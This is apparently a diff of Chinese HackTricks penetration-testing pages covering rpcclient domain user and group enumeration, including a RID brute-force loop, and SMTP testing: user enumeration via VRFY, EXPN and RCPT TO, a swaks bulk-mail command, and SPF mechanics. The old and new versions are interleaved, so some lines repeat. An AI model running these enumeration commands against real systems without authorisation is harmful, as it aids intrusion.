* 通过`queryuser <0xrid>`可以查看**用户的详细信息**。
|
||||
* 使用`queryusergroups <0xrid>`查看**用户的组**。
|
||||
* 通过`lookupnames <username>`检索**用户的SID**。
|
||||
* 使用`queryuseraliases [builtin|domain] <sid>`查看**用户的别名**。
|
||||
```bash
|
||||
# Brute-Force users RIDs
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
done
|
||||
|
||||
# You can also use samrdump.py for this purpose
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### 枚举组
|
||||
|
||||
* **列出组**: `enumdomgroups`
|
||||
* **获取组详细信息**: `querygroup <0xrid>`
|
||||
* **获取组成员**: `querygroupmem <0xrid>`
|
||||
* 使用`enumdomgroups`来枚举**组**。
|
||||
* 使用`querygroup <0xrid>`来获取**组的详细信息**。
|
||||
* 通过`querygroupmem <0xrid>`来查看**组的成员**。
|
||||
|
||||
#### 枚举别名组
|
||||
|
||||
* **列出别名**: `enumalsgroups <builtin|domain>`
|
||||
* **获取成员**: `queryaliasmem builtin|domain <0xrid>`
|
||||
* 使用`enumalsgroups <builtin|domain>`来枚举**别名组**。
|
||||
* 使用`queryaliasmem builtin|domain <0xrid>`来查看**别名组的成员**。
|
||||
|
||||
#### 枚举域
|
||||
|
||||
* **列出域**: `enumdomains`
|
||||
* **获取SID**: `lsaquery`
|
||||
* **域信息**: `querydominfo`
|
||||
|
||||
#### 枚举共享
|
||||
|
||||
* **枚举所有可用共享**: `netshareenumall`
|
||||
* **共享信息**: `netsharegetinfo <share>`
|
||||
|
||||
#### 更多SID
|
||||
|
||||
* **通过名称查找SID**: `lookupnames <username>`
|
||||
* **查找更多SID**: `lsaenumsid`
|
||||
* **RID循环(检查更多SID)**: `lookupsids <sid>`
|
||||
|
||||
#### **额外命令**
|
||||
|
||||
| **命令** | **接口** | **描述** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | 检索用户信息 |
|
||||
| querygroup | 检索组信息 | |
|
||||
| querydominfo | 检索域信息 | |
|
||||
| enumdomusers | 枚举域用户 | |
|
||||
| enumdomgroups | 枚举域组 | |
|
||||
| createdomuser | 创建域用户 | |
|
||||
| deletedomuser | 删除域用户 | |
|
||||
| lookupnames | LSARPC | 查找用户名到SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)值 |
|
||||
| lookupsids | 查找SID到用户名(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)循环) | |
|
||||
| lsaaddacctrights | 向用户帐户添加权限 | |
|
||||
| lsaremoveacctrights | 从用户帐户中删除权限 | |
|
||||
| dsroledominfo | LSARPC-DS | 获取主域信息 |
|
||||
| dsenumdomtrusts | 枚举AD森林中的受信任域 | |
|
||||
|
||||
要更好地了解工具**samrdump**和**rpcdump**的工作原理,您应该阅读[**Pentesting MSRPC**](../135-pentesting-msrpc.md)。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便您可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
* 使用`enumdomains`来枚
|
||||
|
|
|
@ -1,61 +1,65 @@
|
|||
# 25,465,587 - SMTP渗透测试
|
||||
# 25,465,587 - SMTP/s 渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块,以便他们有更多时间深入挖掘、弹出shell,并享受乐趣。
|
||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**SMTP(简单邮件传输协议)**是一个用于**发送**和接收**电子邮件**的TCP/IP协议。然而,由于它在接收端排队消息的能力有限,通常与另外两个协议之一POP3或IMAP一起使用,这两个协议允许用户在服务器邮箱中保存消息,并定期从服务器下载。
|
||||
**SMTP(简单邮件传输协议)** 是用于**发送**和接收**电子邮件**的 TCP/IP 协议。然而,由于其在接收端的消息排队能力有限,通常与另外两种协议之一一起使用,即 POP3 或 IMAP,这两种协议允许用户将消息保存在服务器邮箱中,并定期从服务器下载。
|
||||
|
||||
换句话说,**用户通常使用**一个使用**SMTP发送电子邮件**和使用**POP3或IMAP接收**电子邮件的程序。在基于Unix的系统上,**sendmail**是最广泛使用的用于电子邮件的SMTP服务器。商业软件包Sendmail包括一个POP3服务器。**Microsoft Exchange**包括一个SMTP服务器,并且也可以设置为包括POP3支持。
|
||||
来自[这里](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol)。
|
||||
换句话说,**用户通常使用**一个使用**SMTP 发送电子邮件**和使用**POP3 或 IMAP 接收电子邮件**的程序。在基于 Unix 的系统上,**sendmail** 是最广泛使用的用于电子邮件的 SMTP 服务器。商业软件包 Sendmail 包括一个 POP3 服务器。**Microsoft Exchange** 包括一个 SMTP 服务器,并且也可以设置为包括 POP3 支持。\
|
||||
来源:[这里](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol)。
|
||||
|
||||
**默认端口:** 25,465(ssl),587(ssl)
|
||||
**默认端口:**25,465(ssl),587(ssl)
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||||
```
|
||||
### 电子邮件头部
|
||||
|
||||
如果你有机会**让受害者发送电子邮件给你**(例如通过网页的联系表单),那么就这么做,因为通过查看邮件的头部信息,**你可以了解到受害者内部的拓扑结构**。
|
||||
如果你有机会**让受害者发送电子邮件给你**(例如通过网页上的联系表单),一定要这样做,因为**你可以通过查看邮件头部了解受害者的内部拓扑结构**。
|
||||
|
||||
你也可以通过尝试**向SMTP服务器发送一封发往不存在地址的电子邮件**来获取一封电子邮件(因为服务器会向攻击者发送一封NDN邮件)。但是,请确保你从允许的地址发送邮件(检查SPF策略),并且你能接收NDN消息。
|
||||
你还可以从SMTP服务器获取一封邮件,尝试**向该服务器发送一封邮件到一个不存在的地址**(因为服务器会向攻击者发送一个 NDN 邮件)。但是,请确保你从一个允许的地址发送邮件(检查 SPF 策略),并且你能够接收 NDN 消息。
|
||||
|
||||
你还应该尝试**发送不同内容的邮件,因为你可能会在头部信息中找到更多有趣的信息**,例如:`X-Virus-Scanned: by av.domain.com`\
|
||||
你应该发送EICAR测试文件。\
|
||||
检测到**杀毒软件(AV)**可能允许你利用**已知的漏洞。**
|
||||
你还应该尝试**发送不同内容,因为你可以在邮件头部找到更多有趣的信息**,比如:`X-Virus-Scanned: by av.domain.com`\
|
||||
你应该发送 EICAR 测试文件。\
|
||||
检测到**防病毒软件**可能会让你利用**已知的漏洞**。
|
||||
|
||||
## 基本操作
|
||||
|
||||
### **横幅抓取/基本连接**
|
||||
|
||||
**SMTP:**
|
||||
**SMTP:**
|
||||
```bash
|
||||
nc -vn <IP> 25
|
||||
```
|
||||
**SMTPS**:
|
||||
|
||||
SMTPS是一种通过SSL或TLS加密的安全SMTP协议。
|
||||
```bash
|
||||
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
||||
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
||||
```
|
||||
### 查找组织的MX服务器
|
||||
|
||||
In order to find the MX servers of an organization, you can use tools like `nslookup` or `dig` to query the DNS records. The MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of the domain. By querying the DNS records for the domain, you can identify the MX servers used by the organization for handling email communication.
|
||||
```bash
|
||||
dig +short mx google.com
|
||||
```
|
||||
|
@ -64,9 +68,9 @@ dig +short mx google.com
|
|||
nmap -p25 --script smtp-commands 10.10.10.10
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### NTLM 认证 - 信息泄露
|
||||
### NTLM认证 - 信息泄露
|
||||
|
||||
如果服务器支持 NTLM 认证(Windows),您可以获取敏感信息(版本)。更多信息请点击[**这里**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)。
|
||||
如果服务器支持NTLM认证(Windows),您可以获取敏感信息(版本)。更多信息[**在这里**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)。
|
||||
```bash
|
||||
root@kali: telnet example.com 587
|
||||
220 example.com SMTP Server Banner
|
||||
|
@ -77,11 +81,11 @@ NTLM supported
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
|
||||
或者使用**nmap**插件`smtp-ntlm-info.nse`来**自动化**这个过程。
|
||||
|
||||
### 内部服务器名称 - 信息泄露
|
||||
|
||||
当命令 "MAIL FROM" 发出而没有完整地址时,一些SMTP服务器会自动完成发件人地址,泄露其内部名称:
|
||||
一些SMTP服务器在发出不完整地址的“MAIL FROM”命令时会自动补全发件人地址,从而泄露其内部名称:
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
|
@ -102,25 +106,25 @@ MAIL FROM: me
|
|||
```
|
||||
### 嗅探
|
||||
|
||||
检查是否能从发送到25端口的数据包中嗅探到某些密码
|
||||
检查是否从发送到端口25的数据包中嗅探到了一些密码
|
||||
|
||||
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||||
### [认证暴力破解](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||||
|
||||
## 用户名暴力破解枚举
|
||||
|
||||
**并非总是需要认证**
|
||||
**认证并非总是必需的**
|
||||
|
||||
### RCPT TO
|
||||
```bash
|
||||
$ telnet 10.0.10.1 25
|
||||
Trying 10.0.10.1...
|
||||
Connected to 10.0.10.1.
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO x
|
||||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||||
MAIL FROM:test@test.org
|
||||
250 2.1.0 test@test.org... Sender ok
|
||||
250 myhost Hello 18.28.38.48, pleased to meet you
|
||||
MAIL FROM:example@domain.com
|
||||
250 2.1.0 example@domain.com... Sender ok
|
||||
RCPT TO:test
|
||||
550 5.1.1 test... User unknown
|
||||
RCPT TO:admin
|
||||
|
@ -130,27 +134,31 @@ RCPT TO:ed
|
|||
```
|
||||
### VRFY
|
||||
|
||||
VRFY命令用于验证邮箱地址的有效性。通过向SMTP服务器发送VRFY命令,攻击者可以确认单个用户是否存在。如果服务器配置不当,这可能会泄露用户信息。
|
||||
```
|
||||
$ telnet 10.0.0.1 25
|
||||
Trying 10.0.0.1...
|
||||
Connected to 10.0.0.1.
|
||||
### VRFY
|
||||
|
||||
VRFY命令用于验证用户是否存在于SMTP服务器上。攻击者可以使用VRFY命令来枚举有效的用户账户,从而为后续攻击提供有用信息。在进行SMTP服务器渗透测试时,VRFY命令是一个常用的技术。
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO
|
||||
501 HELO requires domain address
|
||||
HELO x
|
||||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||||
250 myhost Hello 18.28.38.48, pleased to meet you
|
||||
VRFY root
|
||||
250 Super-User <root@myhost>
|
||||
250 Super-User root@myhost
|
||||
VRFY blah
|
||||
550 blah... User unknown
|
||||
```
|
||||
### EXPN
|
||||
```
|
||||
$ telnet 10.0.10.1 25
|
||||
Trying 10.0.10.1...
|
||||
Connected to 10.0.10.1.
|
||||
|
||||
EXP命令用于验证SMTP服务器上的用户列表。攻击者可以使用这个命令来获取有关目标系统上的有效用户的信息。
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO
|
||||
|
@ -159,11 +167,11 @@ HELO x
|
|||
EXPN test
|
||||
550 5.1.1 test... User unknown
|
||||
EXPN root
|
||||
250 2.1.5 <ed.williams@myhost>
|
||||
250 2.1.5 ed.williams@myhost
|
||||
EXPN sshd
|
||||
250 2.1.5 sshd privsep <sshd@mail2>
|
||||
250 2.1.5 sshd privsep sshd@myhost
|
||||
```
|
||||
### 自动工具
|
||||
### 自动化工具
|
||||
```
|
||||
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||
|
@ -171,13 +179,13 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,拥有20多个从侦察到报告的工具和功能。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块,以便他们有更多时间深入挖掘、弹出shell,并享受乐趣。
|
||||
**漏洞评估和渗透测试的即时可用设置**。从任何地方运行完整的渗透测试,使用20多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## DSN 报告
|
||||
## DSN报告
|
||||
|
||||
**递送状态通知报告**:如果您向组织发送**电子邮件**至一个**无效地址**,组织会通过发送**邮件回复您**来通知该地址无效。被返回电子邮件的**头部信息**将**包含**可能的**敏感信息**(如与报告互动的邮件服务的IP地址或防病毒软件信息)。
|
||||
**传递状态通知报告**:如果您向一个组织发送一封**电子邮件**到一个**无效地址**,该组织将通知该地址无效,发送一封**邮件回复给您**。返回的电子邮件的**标头**将**包含**可能的**敏感信息**(如与报告互动的邮件服务的IP地址或反病毒软件信息)。
|
||||
|
||||
## [命令](smtp-commands.md)
|
||||
|
||||
|
@ -201,7 +209,7 @@ swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --hea
|
|||
```
|
||||
### 使用Python发送电子邮件
|
||||
|
||||
以下是使用python脚本发送电子邮件的另一种方法
|
||||
以下是使用Python脚本发送电子邮件的另一种方法
|
||||
```python
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
|
@ -244,139 +252,136 @@ server.quit()
|
|||
|
||||
print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
```
|
||||
## 邮件伪造
|
||||
## 邮件欺骗对策
|
||||
|
||||
本节内容主要摘自 **网络安全评估 第三版** 一书。
|
||||
组织通过使用**SPF**、**DKIM**和**DMARC**来防止未经授权的电子邮件代表其发送电子邮件,这是由于欺骗SMTP消息的简易性。
|
||||
|
||||
SMTP 消息很容易被伪造,因此组织使用 **SPF**、**DKIM** 和 **DMARC** 功能来防止未经授权的方发送电子邮件。
|
||||
|
||||
**这些防范措施的完整指南** 可以在 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) 找到。
|
||||
可以在[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)找到**这些对策的完整指南**。
|
||||
|
||||
### SPF
|
||||
|
||||
{% hint style="danger" %}
|
||||
SPF [在 2014 年被“弃用”](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。这意味着您不是在 `_spf.domain.com` 创建 **TXT 记录**,而是使用**相同语法**在 `domain.com` 创建它。\
|
||||
此外,为了重用以前的 spf 记录,通常会发现类似 `"v=spf1 include:_spf.google.com ~all"` 的内容。
|
||||
SPF在2014年被“弃用”了。这意味着,不再在`_spf.domain.com`中创建**TXT记录**,而是在`domain.com`中使用**相同的语法**创建。\
|
||||
此外,为了重用以前的SPF记录,通常会找到类似`"v=spf1 include:_spf.google.com ~all"`的内容。
|
||||
{% endhint %}
|
||||
|
||||
**发件人策略框架**(SPF)提供了一种机制,允许邮件传输代理(MTA)检查发送电子邮件的主机是否获得授权。\
|
||||
然后,组织可以定义授权邮件服务器的列表,MTA 可以查询这些列表,以检查电子邮件是否被伪造。\
|
||||
为了定义**被允许代表域名发送电子邮件的 IP 地址/范围、域名等**,SPF 记录中可以出现不同的“**机制**”。
|
||||
**发件人策略框架**(SPF)是一种机制,使邮件传输代理(MTAs)能够通过查询组织定义的授权邮件服务器列表来验证发送电子邮件的主机是否经过授权。这个列表指定了IP地址/范围、域和其他实体,**这些实体被授权代表域名发送电子邮件**,包括SPF记录中的各种“**机制**”。
|
||||
|
||||
#### 机制
|
||||
|
||||
| 机制 | 描述 |
|
||||
| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | 总是匹配;用于默认结果,如 `-all` 表示所有未被前面机制匹配的 IP。 |
|
||||
| A | 如果域名有一个地址记录(A 或 AAAA)可以解析为发件人的地址,它将匹配。 |
|
||||
| IP4 | 如果发件人位于给定的 IPv4 地址范围内,匹配。 |
|
||||
| IP6 | 如果发件人位于给定的 IPv6 地址范围内,匹配。 |
|
||||
| MX | 如果域名有一个 MX 记录解析为发件人的地址,它将匹配(即邮件来自域的入站邮件服务器之一)。 |
|
||||
| PTR | 如果客户端地址的域名(PTR 记录)在给定域中,并且该域名解析为客户端地址(正向确认的反向 DNS),则匹配。这种机制不鼓励使用,应尽可能避免。 |
|
||||
| EXISTS | 如果给定的域名解析为任何地址,则匹配(无论它解析为哪个地址)。这很少使用。与 SPF 宏语言一起,它提供了更复杂的匹配,如 DNSBL 查询。 |
|
||||
| INCLUDE | 引用另一个域的策略。如果该域的策略通过,此机制通过。然而,如果包含的策略失败,处理将继续。要完全委托给另一个域的策略,必须使用 redirect 扩展。 |
|
||||
| REDIRECT | <p>重定向是指向托管 SPF 策略的另一个域名的指针,它允许多个域共享相同的 SPF 策略。当与共享相同电子邮件基础设施的大量域合作时,这很有用。</p><p>将使用重定向机制中指示的域的 SPF 策略。</p> |
|
||||
| 机制 | 描述 |
|
||||
| ------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | 始终匹配;用于默认结果,例如对于所有未被先前机制匹配的IP,使用`-all`。 |
|
||||
| A | 如果域名具有可以解析为发件人地址的地址记录(A或AAAA),则匹配。 |
|
||||
| IP4 | 如果发件人在给定的IPv4地址范围内,则匹配。 |
|
||||
| IP6 | 如果发件人在给定的IPv6地址范围内,则匹配。 |
|
||||
| MX | 如果域名具有解析为发件人地址的MX记录,它将匹配(即邮件来自域的传入邮件服务器之一)。 |
|
||||
| PTR | 如果客户端地址的域名(PTR记录)在给定域中,并且该域名解析为客户端地址(前向确认反向DNS),则匹配。如果可能的话,应避免使用此机制。 |
|
||||
| EXISTS | 如果给定的域名解析为任何地址,则匹配(无论解析为何种地址)。这很少使用。与SPF宏语言一起,它提供了更复杂的匹配,如DNSBL查询。 |
|
||||
| INCLUDE | 引用另一个域的策略。如果该域的策略通过,此机制通过。但是,如果包含的策略失败,处理将继续进行。要完全委托给另一个域的策略,必须使用重定向扩展。 |
|
||||
| REDIRECT| <p>重定向是指向托管SPF策略的另一个域名的指针,它允许多个域共享相同的SPF策略。在处理共享相同电子邮件基础设施的大量域时,这是很有用的。</p><p>将使用重定向机制中指示的域的SPF策略。</p> |
|
||||
|
||||
还可以识别表明**如果匹配了机制应该做什么**的**限定符**。默认情况下,使用**限定符 "+"**(所以如果任何机制匹配,那意味着它是被允许的)。\
|
||||
您通常会在每个 SPF 策略的**末尾**注意到类似:**\~all** 或 **-all**。这用于指示**如果发件人不匹配任何 SPF 策略,您应该将电子邮件标记为不受信任 (\~) 或拒绝 (-) 电子邮件。**
|
||||
还可以识别**限定符**,指示**如果匹配了某个机制应该执行什么操作**。默认情况下,使用**限定符“+”**(因此,如果匹配了任何机制,表示允许)。\
|
||||
通常会在**每个SPF策略的末尾**注意到类似:**\~all**或**-all**。这用于指示**如果发件人不符合任何SPF策略,则应将电子邮件标记为不受信任(\~)或拒绝(-)电子邮件**。
|
||||
|
||||
#### 限定符
|
||||
|
||||
每个机制都可以与四个限定符之一结合使用:
|
||||
策略中的每个机制都可以以四个限定符之一作为前缀,以定义预期结果:
|
||||
|
||||
* **`+`** 表示通过结果。这可以省略;例如,`+mx` 与 `mx` 相同。
|
||||
* **`?`** 表示中性结果,解释为无(无策略)。
|
||||
* **`~`** (波浪号)表示 SOFTFAIL,是中性和失败之间的调试辅助。通常,返回 SOFTFAIL 的消息被接受但标记。
|
||||
* **`-`** (减号)表示失败,邮件应该被拒绝(见下文)。
|
||||
* **`+`**:对应于通过结果。默认情况下,机制假定此限定符,使`+mx`等同于`mx`。
|
||||
* **`?`**:表示中立结果,类似于无(没有特定策略)。
|
||||
* **`~`**:表示SOFTFAIL,作为中立和失败之间的中间地带。通常接受符合此结果的电子邮件,但会相应地标记。
|
||||
* **`-`**:表示失败,建议直接拒绝电子邮件。
|
||||
|
||||
在以下示例中,您可以阅读 **google.com 的 SPF 策略**。注意**第一个 SPF 策略是如何包含其他域的 SPF 策略:**
|
||||
在接下来的示例中,展示了**google.com的SPF策略**。请注意,在第一个SPF策略中包含了来自不同域的SPF策略:
|
||||
```shell-session
|
||||
kali@kali:~$ dig txt google.com | grep spf
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
|
||||
kali@kali:~$ dig txt _spf.google.com | grep spf
|
||||
dig txt _spf.google.com | grep spf
|
||||
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
|
||||
;_spf.google.com. IN TXT
|
||||
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks.google.com | grep spf
|
||||
dig txt _netblocks.google.com | grep spf
|
||||
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
|
||||
dig txt _netblocks2.google.com | grep spf
|
||||
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
传统上,任何没有正确/任何SPF记录的域名都可以被伪造。**现在**,如果**电子邮件**来自**没有有效SPF记录的域**,很可能会被**自动拒绝/标记为不受信任**。
|
||||
传统上,可以伪造任何没有正确/任何 SPF 记录的域名。**如今**,如果**电子邮件**来自**没有有效 SPF 记录的域**,可能会被**自动拒收/标记为不受信任**。
|
||||
|
||||
要检查域的SPF,您可以使用在线工具,例如:[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
要检查域的 SPF,可以使用在线工具,如:[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM
|
||||
### DKIM(DomainKeys Identified Mail)
|
||||
|
||||
DomainKeys Identified Mail (DKIM) 是一种机制,通过该机制**外发电子邮件被签名,并在通过DNS检索域的公钥时由外部MTA验证**。DKIM公钥保存在域的TXT记录中;然而,您必须知道选择器和域名才能检索它。
|
||||
